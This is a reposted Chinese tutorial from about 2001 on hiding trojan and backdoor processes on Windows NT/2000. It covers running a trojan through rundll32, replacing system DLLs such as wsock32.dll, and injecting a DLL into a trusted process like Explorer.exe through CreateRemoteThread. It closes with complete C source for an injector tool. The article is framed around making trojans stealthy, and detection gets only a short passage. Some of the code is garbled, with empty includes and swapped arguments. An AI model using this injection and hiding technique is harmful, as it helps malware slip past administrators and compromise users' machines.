當(dāng)前位置:首頁 > 嵌入式 > 嵌入式教程
[導(dǎo)讀]木馬/后門程序在WINNT中進(jìn)程隱藏及查找的方法

WIN9X中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WINNT中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能欺騙WINNT的任務(wù)管理器,以至于很多的朋友問我:在WINNT下難道木馬真的再也無法隱藏自己的進(jìn)程了?本文試圖通過探討WINNT中木馬的幾種常用隱藏進(jìn)程手段,給大家揭示木馬/后門程序在WINNT中進(jìn)程隱藏的方法和查找的途徑。

  我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進(jìn)程,查找特定進(jìn)程是我們發(fā)現(xiàn)木馬的主要方法之一(無論手動還是防火墻),隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù)(例如著名的FPort就能夠檢測出任何進(jìn)程打開的TCP/UDP端口),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進(jìn)程,我們基本上認(rèn)為這個木馬的隱藏已經(jīng)完全失敗(利用心理因素而非技術(shù)手段欺騙用戶的木馬不在我們的討論范圍之內(nèi))。在NT下正常情況用戶進(jìn)程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進(jìn)程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見(或者視而不見)你的進(jìn)程;第二是不使用進(jìn)程。

  看不見進(jìn)程的方法就是進(jìn)行進(jìn)程欺騙,為了了解如何能使進(jìn)程看不見,我們首先要了解怎樣能看得見進(jìn)程:在Windows中有多種方法能夠看到進(jìn)程的存在:PSAPI(Process Status API),PDH(Performance Data Helper),ToolHelp API,如果我們能夠欺騙用戶或入侵檢測軟件用來查看進(jìn)程的函數(shù)(例如截獲相應(yīng)的API調(diào)用,替換返回的數(shù)據(jù)),我們就完全能實現(xiàn)進(jìn)程隱藏,但是一來我們并不知道用戶/入侵檢測軟件使用的是什么方法來查看進(jìn)程列表,二來如果我們有權(quán)限和技術(shù)實現(xiàn)這樣的欺騙,我們就一定能使用其它的方法更容易的實現(xiàn)進(jìn)程的隱藏。

  第二種方法是不使用進(jìn)程,不使用進(jìn)程使用什么?為了弄明白這個問題,我們必須要先了解Windows系統(tǒng)的另一種“可執(zhí)行文件”----DLL,DLL是Dynamic Link Library(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進(jìn)程加載并調(diào)用的。(你你你,你剛剛不是說不用進(jìn)程了?)別急呀,聽我慢慢道來:因為DLL文件不能獨立運行,所以在進(jìn)程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進(jìn)程來運行它,那么無論是入侵檢測軟件還是進(jìn)程列表中,都只會出現(xiàn)那個進(jìn)程而并不會出現(xiàn)木馬DLL,如果那個進(jìn)程是可信進(jìn)程,(例如資源管理器Explorer.exe,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進(jìn)程的一部分,也將成為被信賴的一員而為所欲為。

  運行DLL文件最簡單的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自帶的動態(tài)鏈接庫工具,可以用來在命令行下執(zhí)行動態(tài)鏈接庫中的某個函數(shù),其中Rundll是16位而Rundll32是32位的(分別調(diào)用16位和32位的DLL文件),Rundll32的使用方法如下:

  Rundll32.exe DllFileName FuncName

  例如我們編寫了一個MyDll.dll,這個動態(tài)鏈接庫中定義了一個MyFunc的函數(shù),那么,我們通過Rundll32.exe MyDll.dll MyFunc就可以執(zhí)行MyFunc函數(shù)的功能。

  如何運行DLL文件和木馬進(jìn)程的隱藏有什么關(guān)系么?當(dāng)然有了,假設(shè)我們在MyFunc函數(shù)中實現(xiàn)了木馬的功能,那么我們不就可以通過Rundll32來運行這個木馬了么?在系統(tǒng)管理員看來,進(jìn)程列表中增加的是Rundll32.exe而并不是木馬文件,這樣也算是木馬的一種簡易欺騙和自我保護(hù)方法(至少你不能去把Rundll32.exe刪掉吧?)

  使用Rundll32的方法進(jìn)行進(jìn)程隱藏是簡易的,非常容易被識破。(雖然殺起來會麻煩一點)比較高級的方法是使用特洛伊DLL,特洛伊DLL的工作原理是替換常用的DLL文件,將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL,截獲并處理特定的消息。例如,我們知道WINDOWS的Socket 1.x的函數(shù)都是存放在wsock32.dll中的,那么我們自己寫一個wsock32.dll文件,替換掉原先的wsock32.dll(將原先的DLL文件重命名為wsockold.dll)我們的wsock32.dll只做兩件事,一是如果遇到不認(rèn)識的調(diào)用,就直接轉(zhuǎn)發(fā)給wsockold.dll(使用函數(shù)轉(zhuǎn)發(fā)器forward);二是遇到特殊的請求(事先約定的)就解碼并處理。這樣理論上只要木馬編寫者通過SOCKET遠(yuǎn)程輸入一定的暗號,就可以控制wsock32.dll(木馬DLL)做任何操作。特洛伊DLL技術(shù)是比較古老的技術(shù),因此微軟也對此做了相當(dāng)?shù)姆婪?,在Win2K的system32目錄下有一個dllcache的目錄,這個目錄中存放著大量的DLL文件(也包括一些重要的exe文件),這個是微軟用來保護(hù)DLL的法寶,一旦操作系統(tǒng)發(fā)現(xiàn)被保護(hù)的DLL文件被篡改(數(shù)字簽名技術(shù)),它就會自動從dllcache中恢復(fù)這個文件。雖然說先更改dllcache目錄中的備份再修改DLL文件本身可以繞過這個保護(hù),但是可以想見的是微軟在未來必將更加小心地保護(hù)重要的DLL文件,同時特洛伊DLL方法本身有著一些漏洞(例如修復(fù)安裝、安裝補丁、檢查數(shù)字簽名等方法都有可能導(dǎo)致特洛伊DLL失效),所以這個方法也不能算是DLL木馬的最優(yōu)選擇。

  DLL木馬的最高境界是動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進(jìn)程中的技術(shù)。理論上來說,在Windows中的每個進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對這個私有空間進(jìn)行操作的(私人領(lǐng)地、請勿入內(nèi)),但是實際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。在多種動態(tài)嵌入技術(shù)中(窗口Hook、掛接API、遠(yuǎn)程線程),我最喜歡的是遠(yuǎn)程線程技術(shù)(其實、其實我就會這一種……),下面就為大家介紹一下遠(yuǎn)程線程技術(shù)。

  遠(yuǎn)程線程技術(shù)指的是通過在另一個運行的進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個線程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程創(chuàng)建時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(注意:是遠(yuǎn)程進(jìn)程!)的地址空間,所以,實際上,我們通過創(chuàng)建一個遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進(jìn)程相當(dāng)多的權(quán)限:例如啟動一個DLL木馬(與進(jìn)入進(jìn)程內(nèi)部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個進(jìn)程的數(shù)據(jù))

  閑話少說,我們來看代碼:

  首先,我們通過OpenProcess 來打開我們試圖嵌入的進(jìn)程(如果不允許打開,那么嵌入就無法進(jìn)行了,這往往是由于權(quán)限不夠引起的,例如你試圖打開一個受系統(tǒng)保護(hù)的進(jìn)程)

  hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠(yuǎn)程創(chuàng)建線程

  PROCESS_VM_OPERATION | //允許遠(yuǎn)程VM操作

  PROCESS_VM_WRITE, //允許遠(yuǎn)程VM寫

  FALSE, dwRemoteProcessId );

  由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

  然后,我們可以建立LoadLibraryW這個線程來啟動我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要將這個文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程讀不到這個參數(shù))

  //計算DLL路徑名需要的內(nèi)存空間

  int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

  //使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū)

  pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

  MEM_COMMIT, PAGE_READWRITE);

  //使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間

  iReturnCode = WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

  //計算LoadLibraryW的入口地址

  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  說明一下,上面我們計算的其實是自己這個進(jìn)程內(nèi)LoadLibraryW的入口地址,但是因為kernel.dll模塊在所有進(jìn)程內(nèi)的地址都是相同的(屬于內(nèi)核模塊),所以這個入口地址同樣適用于遠(yuǎn)程進(jìn)程。

  OK,萬事俱備,我們通過建立遠(yuǎn)程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(我們復(fù)制到遠(yuǎn)程進(jìn)程內(nèi)存空間的木馬DLL的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動我們的木馬DLL:

  //啟動遠(yuǎn)程線程LoadLibraryW,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件

  hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的遠(yuǎn)程進(jìn)程

  NULL, 0,

  pfnStartAddr, //LoadLibraryW的入口地址

  pszLibFileRemote, //木馬DLL的全路徑文件名

  0, NULL);

  至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運行,我編寫了以下的測試DLL,這個DLL什么都不做,僅僅返回所在進(jìn)程的PID:

  BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)

  { char * szProcessId = (char *)malloc(10*sizeof(char));

  switch (reason){

  case DLL_PROCESS_ATTACH:{

  //獲取并顯示當(dāng)前進(jìn)程ID

  _itoa(GetCurrentProcessId(), szProcessId, 10);

  MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

  }

  default:

  return TRUE;

  }

  }

  當(dāng)我使用RmtDll.exe程序?qū)⑦@個TestDLL.dll嵌入Explorer.exe進(jìn)程后(PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,證明TestDLL.dll已經(jīng)在Explorer.exe進(jìn)程內(nèi)正確地運行了。(木馬已經(jīng)成為Explorer.exe的一部分)

  DLL木馬的查找:查找DLL木馬的基本思路是擴展進(jìn)程列表至內(nèi)存模塊列表,內(nèi)存模塊列表將顯示每個進(jìn)程目前加載/調(diào)用的所有DLL文件,通過這種方法,我們能發(fā)現(xiàn)異常的DLL文件(前提是你對所有進(jìn)程需要調(diào)用的模塊都很熟悉,天哪,這幾乎是沒有可能的事,要知道隨便哪個進(jìn)程都會調(diào)用十七八個DLL文件,而Windows更是由數(shù)以千計的DLL所組成的,誰能知道哪個有用哪個沒用?)對此,我寫了一個內(nèi)存模塊查看軟件,在http://www.patching.net/shotgun/ps.zip可以下載,該軟件使用PSAPI,如果是NT4.0,需要PSAPI.dll的支持,所以我把PSAPI.dll也放在了壓縮包里。

  進(jìn)一步想想,用遠(yuǎn)程線程技術(shù)啟動木馬DLL還是比較有跡可尋的,如果事先將一段代碼復(fù)制進(jìn)遠(yuǎn)程進(jìn)程的內(nèi)存空間,然后通過遠(yuǎn)程線程起動這段代碼,那么,即使遍歷進(jìn)程內(nèi)存模塊也無濟于事;或者遠(yuǎn)程線程切入某個原本就需要進(jìn)行SOCKET操作的進(jìn)程(如iExplorer.exe),對函數(shù)調(diào)用或數(shù)據(jù)進(jìn)行某些有針對的修改……這樣的木馬并不需要自己打開端口,代碼也只是存在于內(nèi)存中,可以說如羚羊掛角,無跡可尋。

  無論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運行于別的進(jìn)程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護(hù)自己。

  這個時候,我們可以說已經(jīng)實現(xiàn)了一個真正意義上的木馬,它不僅欺騙、進(jìn)入你的計算機,甚至進(jìn)入了用戶進(jìn)程的內(nèi)部,從某種意義上說,這種木馬已經(jīng)具備了病毒的很多特性,例如隱藏和寄生(和宿主同生共死),如果有一天,出現(xiàn)了具備所有病毒特性的木馬(不是指蠕蟲,而是傳統(tǒng)意義上的寄生病毒),我想我并不會感到奇怪,倒會疑問這一天為什么這么遲才到來。

  附錄:利用遠(yuǎn)程線程技術(shù)嵌入進(jìn)程的模型源碼:

  /////////////////////////////////////////////////////////////////////////////////////////////// //

  // Remote DLL For Win2K by Shotgun //

  // This Program can inject a DLL into Remote Process //

  // //

  // Released: [2001.4] //

  // Author: [Shotgun] //

  // Email: [Shotgun@Xici.Net] //

  // Homepage: //

  // [http://IT.Xici.Net] //

  // [http://WWW.Patching.Net] //

  // //

  // USAGE: //

  // RmtDLL.exe PID[|ProcessName] DLLFullPathName //

  // Example: //

  // RmtDLL.exe 1024 C:WINNTSystem32MyDLL.dll //

  // RmtDLL.exe Explorer.exe C:MyDLL.dll //

  // //

  ///////////////////////////////////////////////////////////////////////////////////////////////

  #include[!--empirenews.page--]
#include

  #include

  #include

  DWORD ProcessToPID( char *); //將進(jìn)程名轉(zhuǎn)換為PID的函數(shù)

  void CheckError ( int, int, char *); //出錯處理函數(shù)

  void usage ( char *); //使用說明函數(shù)

  PDWORD pdwThreadId;

  HANDLE hRemoteThread, hRemoteProcess;

  DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

  PWSTR pszLibFileRemote=NULL;

  void main(int argc,char **argv)

  {

  int iReturnCode;

  char lpDllFullPathName[MAX_PATH];

  WCHAR pszLibFileName[MAX_PATH]={0};

  //處理命令行參數(shù)

  if (argc!=3) usage("Parametes number incorrect!");

  else{

  //如果輸入的是進(jìn)程名,則轉(zhuǎn)化為PID

  if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);

  else dwRemoteProcessId = ProcessToPID(argv[1]);

  //判斷輸入的DLL文件名是否是絕對路徑

  if(strstr(argv[2],":")!=NULL)

  strncpy(argv[2], lpDllFullPathName, MAX_PATH);

  else

  { //取得當(dāng)前目錄,將相對路徑轉(zhuǎn)換成絕對路徑

  iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);

  CheckError(iReturnCode, 0, "GetCurrentDirectory");

  strcat(lpDllFullPathName, "");

  strcat(lpDllFullPathName, argv[2]);

  printf("Convert DLL filename to FullPathName:nt%snn",

  lpDllFullPathName);

  }

  //判斷DLL文件是否存在

  iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);

  CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");

  //將DLL文件全路徑的ANSI碼轉(zhuǎn)換成UNICODE碼

  iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

  lpDllFullPathName, strlen(lpDllFullPathName),

  pszLibFileName, MAX_PATH);

  CheckError(iReturnCode, 0, "MultByteToWideChar");

  //輸出最后的操作參數(shù)

  wprintf(L"Will inject %s", pszLibFileName);

  printf(" into process:%s PID=%dn", argv[1], dwRemoteProcessId);

  }

  //打開遠(yuǎn)程進(jìn)程

  hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創(chuàng)建線程

  PROCESS_VM_OPERATION | //允許VM操作

  PROCESS_VM_WRITE, //允許VM寫

  FALSE, dwRemoteProcessId );

  CheckError( (int) hRemoteProcess, NULL,

  "Remote Process not Exist or Access Denied!");

  //計算DLL路徑名需要的內(nèi)存空間

  int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

  pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

  MEM_COMMIT, PAGE_READWRITE);

  CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");

  //將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間

  iReturnCode = WriteProcessMemory(hRemoteProcess,

  pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

  CheckError(iReturnCode, false, "WriteProcessMemory");

  //計算LoadLibraryW的入口地址

  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  CheckError((int)pfnStartAddr, NULL, "GetProcAddress");

  //啟動遠(yuǎn)程線程,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件

  hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

  CheckError((int)hRemoteThread, NULL, "Create Remote Thread");

  //等待遠(yuǎn)程線程退出

  WaitForSingleObject(hRemoteThread, INFINITE);

  //清場處理

  if (pszLibFileRemote != NULL)

  VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

  if (hRemoteThread != NULL) CloseHandle(hRemoteThread );

  if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

  }//end of main()

  //將進(jìn)程名轉(zhuǎn)換為PID的函數(shù)

  DWORD ProcessToPID(char *InputProcessName)

  {

  DWORD aProcesses[1024], cbNeeded, cProcesses;

  unsigned int i;

  HANDLE hProcess;

  HMODULE hMod;

  char szProcessName[MAX_PATH] = "UnknownProcess";[!--empirenews.page--]
 // 計算目前有多少進(jìn)程, aProcesses[]用來存放有效的進(jìn)程PIDs

  if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;

  cProcesses = cbNeeded / sizeof(DWORD);

  // 按有效的PID遍歷所有的進(jìn)程

  for ( i = 0; i < cProcesses; i++ )

  {

  // 打開特定PID的進(jìn)程

  hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |

  PROCESS_VM_READ,

  FALSE, aProcesses[i]);

  // 取得特定PID的進(jìn)程名

  if ( hProcess )

  {

  if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )

  {

  GetModuleBaseName( hProcess, hMod,

  szProcessName, sizeof(szProcessName) );

  //將取得的進(jìn)程名與輸入的進(jìn)程名比較,如相同則返回進(jìn)程PID

  if(!_stricmp(szProcessName, InputProcessName)){

  CloseHandle( hProcess );

  return aProcesses[i];

  }

  }

  }//end of if ( hProcess )

  }//end of for

  //沒有找到相應(yīng)的進(jìn)程名,返回0

  CloseHandle( hProcess );

  return 0;

  }//end of ProcessToPID

  //錯誤處理函數(shù)CheckError()

  //如果iReturnCode等于iErrorCode,則輸出pErrorMsg并退出

  void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)

  {

  if(iReturnCode==iErrorCode) {

  printf("%s Error:%dnn", pErrorMsg, GetLastError());

  //清場處理

  if (pszLibFileRemote != NULL)

  VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

  if (hRemoteThread != NULL) CloseHandle(hRemoteThread );

  if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);

  exit(0);

  }

  }//end of CheckError()

  //使用方法說明函數(shù)usage()

  void usage(char * pErrorMsg)

  {

  printf("%snn",pErrorMsg);

  printf("ttRemote Process DLL by Shotgunn");

  printf("tThis program can inject a DLL into remote processn");

  printf("Email:n");

  printf("tShotgun@Xici.Netn");

  printf("HomePage:n");

  printf("thttp://It.Xici.Netn");

  printf("thttp://www.Patching.Netn");

  printf("USAGE:n");

  printf("tRmtDLL.exe PID[|ProcessName] DLLFullPathNamen");

  printf("Example:n");

  printf("tRmtDLL.exe 1024 C:WINNTSystem32MyDLL.dlln");

  printf("tRmtDLL.exe Explorer.exe C:MyDLL.dlln");

  exit(0);

  }//end of usage()

本站聲明: 本文章由作者或相關(guān)機構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點,本站亦不保證或承諾內(nèi)容真實性等。需要轉(zhuǎn)載請聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請及時聯(lián)系本站刪除。
換一批
延伸閱讀

9月2日消息,不造車的華為或?qū)⒋呱龈蟮莫毥谦F公司,隨著阿維塔和賽力斯的入局,華為引望愈發(fā)顯得引人矚目。

關(guān)鍵字: 阿維塔 塞力斯 華為

加利福尼亞州圣克拉拉縣2024年8月30日 /美通社/ -- 數(shù)字化轉(zhuǎn)型技術(shù)解決方案公司Trianz今天宣布,該公司與Amazon Web Services (AWS)簽訂了...

關(guān)鍵字: AWS AN BSP 數(shù)字化

倫敦2024年8月29日 /美通社/ -- 英國汽車技術(shù)公司SODA.Auto推出其旗艦產(chǎn)品SODA V,這是全球首款涵蓋汽車工程師從創(chuàng)意到認(rèn)證的所有需求的工具,可用于創(chuàng)建軟件定義汽車。 SODA V工具的開發(fā)耗時1.5...

關(guān)鍵字: 汽車 人工智能 智能驅(qū)動 BSP

北京2024年8月28日 /美通社/ -- 越來越多用戶希望企業(yè)業(yè)務(wù)能7×24不間斷運行,同時企業(yè)卻面臨越來越多業(yè)務(wù)中斷的風(fēng)險,如企業(yè)系統(tǒng)復(fù)雜性的增加,頻繁的功能更新和發(fā)布等。如何確保業(yè)務(wù)連續(xù)性,提升韌性,成...

關(guān)鍵字: 亞馬遜 解密 控制平面 BSP

8月30日消息,據(jù)媒體報道,騰訊和網(wǎng)易近期正在縮減他們對日本游戲市場的投資。

關(guān)鍵字: 騰訊 編碼器 CPU

8月28日消息,今天上午,2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會開幕式在貴陽舉行,華為董事、質(zhì)量流程IT總裁陶景文發(fā)表了演講。

關(guān)鍵字: 華為 12nm EDA 半導(dǎo)體

8月28日消息,在2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會上,華為常務(wù)董事、華為云CEO張平安發(fā)表演講稱,數(shù)字世界的話語權(quán)最終是由生態(tài)的繁榮決定的。

關(guān)鍵字: 華為 12nm 手機 衛(wèi)星通信

要點: 有效應(yīng)對環(huán)境變化,經(jīng)營業(yè)績穩(wěn)中有升 落實提質(zhì)增效舉措,毛利潤率延續(xù)升勢 戰(zhàn)略布局成效顯著,戰(zhàn)新業(yè)務(wù)引領(lǐng)增長 以科技創(chuàng)新為引領(lǐng),提升企業(yè)核心競爭力 堅持高質(zhì)量發(fā)展策略,塑強核心競爭優(yōu)勢...

關(guān)鍵字: 通信 BSP 電信運營商 數(shù)字經(jīng)濟

北京2024年8月27日 /美通社/ -- 8月21日,由中央廣播電視總臺與中國電影電視技術(shù)學(xué)會聯(lián)合牽頭組建的NVI技術(shù)創(chuàng)新聯(lián)盟在BIRTV2024超高清全產(chǎn)業(yè)鏈發(fā)展研討會上宣布正式成立。 活動現(xiàn)場 NVI技術(shù)創(chuàng)新聯(lián)...

關(guān)鍵字: VI 傳輸協(xié)議 音頻 BSP

北京2024年8月27日 /美通社/ -- 在8月23日舉辦的2024年長三角生態(tài)綠色一體化發(fā)展示范區(qū)聯(lián)合招商會上,軟通動力信息技術(shù)(集團(tuán))股份有限公司(以下簡稱"軟通動力")與長三角投資(上海)有限...

關(guān)鍵字: BSP 信息技術(shù)
關(guān)閉
關(guān)閉